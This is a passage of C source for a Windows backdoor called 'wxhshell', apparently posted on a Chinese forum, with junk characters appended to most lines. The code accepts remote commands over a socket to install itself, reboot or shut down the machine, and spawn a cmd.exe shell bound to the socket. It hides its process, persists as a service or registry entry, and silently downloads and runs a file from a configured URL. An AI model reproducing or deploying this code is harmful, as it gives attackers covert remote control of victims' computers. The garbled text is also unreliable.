  case '?': { z6 a,0&;-L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bl`D+/V   
    break; i)[kubM  
  } YQx?* gZS  
  // 安装 1]Lhk?4t  
  case 'i': { X*)?LxTj  
    if(Install()) '9"%@AFxZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {=qEBbM  
    else [bsXF#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wePI*."]  
    break; fw:7U %MGv  
    } |SxMN %M!  
  // 卸载 %fBP:5%K  
  case 'r': { Xout:dn  
    if(Uninstall()) [.ey_}X8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2'Y{FY_Z  
    else PY2[ S[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dK`(BA{`3  
    break; 7oD y7nV4  
    } 6N&| 2:U  
  // 显示 wxhshell 所在路径 ovB=Zm  
  case 'p': { Y}S.37|+^  
    char svExeFile[MAX_PATH]; 3hH>U%`-  
    strcpy(svExeFile,"\n\r"); hcQSB00D^  
      strcat(svExeFile,ExeFile); 9@Q&B+!  
        send(wsh,svExeFile,strlen(svExeFile),0); x ~wNO/  
    break; =pyVn_dg  
    } */4tJ G1U  
  // 重启 ?P%|P   
  case 'b': { %n4@[fG%K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  k~{Fnkt  
    if(Boot(REBOOT)) J}:&eS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); We\KDU\n  
    else { #jOOsfH|k  
    closesocket(wsh); dV)Y,Yx0${  
    ExitThread(0); X=JFWzC  
    } WFRsSp2  
    break; ~m!#FTc*  
    } :MK:TJV  
  // 关机 1E8$% 6VV  
  case 'd': { uL bp.N8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (VfwLo>#  
    if(Boot(SHUTDOWN)) &<`-:x12_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u2 Y N[|V  
    else { re]%f"v:5  
    closesocket(wsh); Ndo}Tk!  
    ExitThread(0); J_|7$ l/  
    } axOi 5  
    break; $y8mK|3.3u  
    } &ycjSBK  
  // 获取shell 0T(O'v}.  
  case 's': { E1#H{)G  
    CmdShell(wsh); ZTr:xX{R6  
    closesocket(wsh); Wa(W&]  
    ExitThread(0); c$.UE  
    break; FMoJ"6Q  
  } Ih(:HFRMq6  
  // 退出 $|rCrak;  
  case 'x': { [+y &HNf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fBf]4@{  
    CloseIt(wsh); C?8PT/  
    break; I; ^xAd3G  
    } 3T"2S[gT  
  // 离开 VIb;96$Or  
  case 'q': { 92s4u3 L;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BO[+E' 2  
    closesocket(wsh); j'\>Nn+  
    WSACleanup(); !&qx7eOSpP  
    exit(1); &Q2NU$  
    break; yVT&rQ"{  
        } pi|\0lH6W  
  } ]gb _Nv  
  } +8]W\<Kp  
}*0,>w>  
  // 提示信息 x6"/z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1aBD^^Y  
} n; Lo  
  } v hRu `Yb  
-)p@BtMS  
  return; >Dk1axZ!>/  
} AU3auBol ^  
Jw2B&)k/  
// shell模块句柄 )ZQHa7V  
int CmdShell(SOCKET sock) O'"YJ,  
{ Ii|uGxEc  
STARTUPINFO si; pTc$+Z7 3  
ZeroMemory(&si,sizeof(si)); #E*@/ p/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +G<}JJ'V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >?^~s(t  
PROCESS_INFORMATION ProcessInfo; :uOZjEZi  
char cmdline[]="cmd"; z`c%?_EK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0PYvey }[  
  return 0; s4x'f$r  
} p^T&jE8])#  
eLCdAr  
// 自身启动模式 ll^Th >  
int StartFromService(void)  C/SapX  
{ sGXp}{E9  
typedef struct f1)HHUB  
{ F~tm`n8Z  
  DWORD ExitStatus; @~JB\j9  
  DWORD PebBaseAddress; P]|J?$1K  
  DWORD AffinityMask; y2oB]^z&n  
  DWORD BasePriority; 1[26w_B3  
  ULONG UniqueProcessId; KK@ &q  
  ULONG InheritedFromUniqueProcessId; K4iI:  
}   PROCESS_BASIC_INFORMATION; eKL]E!  
3Cq6h;!#  
PROCNTQSIP NtQueryInformationProcess; ^RYn8I  
);0<Odw%.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d\v$%0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; elN{7:  
9 yh9HE  
  HANDLE             hProcess; N7d17c. 5  
  PROCESS_BASIC_INFORMATION pbi; (J6" ;  
"9c.CI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q >Q:X3  
  if(NULL == hInst ) return 0; b7?U8/#'  
MDMtOfe|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 59&T/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ST[2]   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9zXu6<|qrL  
^</65+OT+  
  if (!NtQueryInformationProcess) return 0; r~ZS1Tp  
mle_*Gy8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r^?)F?n!  
  if(!hProcess) return 0; aR`_h=a  
EJ WOXxU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (%``EIc<8  
 !7 ei1  
  CloseHandle(hProcess); ( rA\_FOJ  
^L>MZA ?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #Tr;JAzVjG  
if(hProcess==NULL) return 0; J xA^DH  
#pS]k<o%1  
HMODULE hMod; cp E25  
char procName[255]; CBiU#h q  
unsigned long cbNeeded; _fczE~O/  
1{SrHdD=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B'WCN&N  
i_j9/k  
  CloseHandle(hProcess); b:N^Fe  
Ha46U6_'h  
if(strstr(procName,"services")) return 1; // 以服务启动 J!21`M-Ue  
08TaFzP81  
  return 0; // 注册表启动 !!?+M @  
} Y|{r vBKjf  
`_NnQ%  
// 主模块 >yV)d/  
int StartWxhshell(LPSTR lpCmdLine) T0@](g  
{ W?*Xy6",JF  
  SOCKET wsl; aukk|/3Ih  
BOOL val=TRUE; w.4u=e >Z4  
  int port=0; \zk?$'d  
  struct sockaddr_in door; :FX'[7;p  
+-Z"H)  
  if(wscfg.ws_autoins) Install(); ,pQ'w7  
MgJ%26TZ  
port=atoi(lpCmdLine); 3a'Rs{qxn  
v#Cz&j  
if(port<=0) port=wscfg.ws_port; :z izca4  
=]_d pEEQ  
  WSADATA data; mQwk!* U  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t9Enk!@  
*r)zBr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   21[K[ %  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tnQR<  
  door.sin_family = AF_INET; uM6CG0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (PCimT=5  
  door.sin_port = htons(port); |<|28~#  
K;@RUy~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9 _M H  
closesocket(wsl); JcvHJ0X~a  
return 1; ]FY?_DGOA  
} jI*}y[o  
QLn5#x~xb  
  if(listen(wsl,2) == INVALID_SOCKET) { %Y)PH-z  
closesocket(wsl); 5 {T9*  
return 1; EIq{C-(  
} Ze$^UR  
  Wxhshell(wsl); b>hBct}  
  WSACleanup(); iQ]T+}nn_  
]y1$F Ir+  
return 0; wQo6!H "K  
..P=D <'f  
} ;,F-6RNj  
8]cv&d1f  
// 以NT服务方式启动 TTA{#[=7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d&PE,$XC  
{ ImUQ*0  
DWORD   status = 0; "4Vi=*2V  
  DWORD   specificError = 0xfffffff; p6&LZ=tL3  
hYP6z^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h/0<:eZ*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w%i+>\tO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _Ewy^;S%L  
  serviceStatus.dwWin32ExitCode     = 0; xh+AZ3  
  serviceStatus.dwServiceSpecificExitCode = 0; "K}W^J9v  
  serviceStatus.dwCheckPoint       = 0; @1pW!AdN  
  serviceStatus.dwWaitHint       = 0; .RQXxw  
38x[Ad4%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^D ]7pe  
  if (hServiceStatusHandle==0) return; 9[t]]  
({d,oU$>y  
status = GetLastError(); d vg;  
  if (status!=NO_ERROR) p?Z+z  
{ :,h=2a_ 8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {<- ouD  
    serviceStatus.dwCheckPoint       = 0; Pqr Ou  
    serviceStatus.dwWaitHint       = 0; 7':5  
    serviceStatus.dwWin32ExitCode     = status; (]zl$*k  
    serviceStatus.dwServiceSpecificExitCode = specificError; ND9 n1WZ&x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u):%5F/  
    return; mC{!8WC@k  
  } mFgb_Cd  
),D`ZRXS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gZ `#tlA~  
  serviceStatus.dwCheckPoint       = 0; i GEQXIr3  
  serviceStatus.dwWaitHint       = 0; SHXa{-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0,vj,ic*WX  
} :|3"H&FWK  
C1#o<pv  
// 处理NT服务事件,比如:启动、停止 t?%}hs\!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zn2"swhq\V  
{ >0g `U  
switch(fdwControl) J[& 7,}  
{ N8DiEB3~  
case SERVICE_CONTROL_STOP: {Gk}3u/  
  serviceStatus.dwWin32ExitCode = 0; }6uV]V{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E5Snl#Gl\0  
  serviceStatus.dwCheckPoint   = 0; n3HCd- z  
  serviceStatus.dwWaitHint     = 0; *hk{q/*Qw  
  { tKs4}vW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;9!yh\\   
  } |h^G$guw  
  return; vjs|!O=oH  
case SERVICE_CONTROL_PAUSE: gNEzlx8A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H649J)v+m  
  break; ;i-D~Np|  
case SERVICE_CONTROL_CONTINUE: ^huBqEs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^V XXq  
  break; n7`.<*:  
case SERVICE_CONTROL_INTERROGATE: Sq?6R}q%  
  break; >n$E e J  
}; ;4S [ba1/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?v)"%.  
} $X.'W\o|  
(zM+7tJH  
// 标准应用程序主函数 43}&w.AS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (<> Sz(  
{ C~ }Wo5  
 eo<~1w  
// 获取操作系统版本 WoClTb>F  
OsIsNt=GetOsVer(); -Iruua7b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8CnvvMf  
2t]! {L  
  // 从命令行安装 X*>o9J45V  
  if(strpbrk(lpCmdLine,"iI")) Install(); \DcC1W  
ys.!S.k+  
  // 下载执行文件 :nbW.B3GV  
if(wscfg.ws_downexe) { mk[d7Yt{O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iaa (ce  
  WinExec(wscfg.ws_filenam,SW_HIDE); \fM!^  
} m|#(gX|F  
=B o4yN  
if(!OsIsNt) { 8ZNd|\  
// 如果时win9x,隐藏进程并且设置为注册表启动 e $/Zb`k  
HideProc(); L3G)?rPFC#  
StartWxhshell(lpCmdLine); eLt Cxe  
} /k3n{ ?$/  
else )qe$rD;N  
  if(StartFromService()) G5XnGl }Q  
  // 以服务方式启动 gKm~cjCB`~  
  StartServiceCtrlDispatcher(DispatchTable); e u=f-HW]  
else 0\_R|i_`>  
  // 普通方式启动 ~qLhZR\g^  
  StartWxhshell(lpCmdLine); VtPoc(o4]  
kGBl)0pr`x  
return 0; PU@U@  
}
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只看该作者 1 发表于: 2006-10-10
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